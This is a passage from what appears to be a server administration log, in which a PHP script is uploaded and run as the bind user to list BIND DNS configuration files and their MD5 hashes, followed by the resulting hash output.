	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:36:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp848313; rm /tmp/pkp848313'

2026-04-23 13:36:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:42:42: Establishing a connection
2026-04-23 13:42:42: 

PUT: /tmp/pkp449806

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:42:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp449806; rm /tmp/pkp449806'

2026-04-23 13:42:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
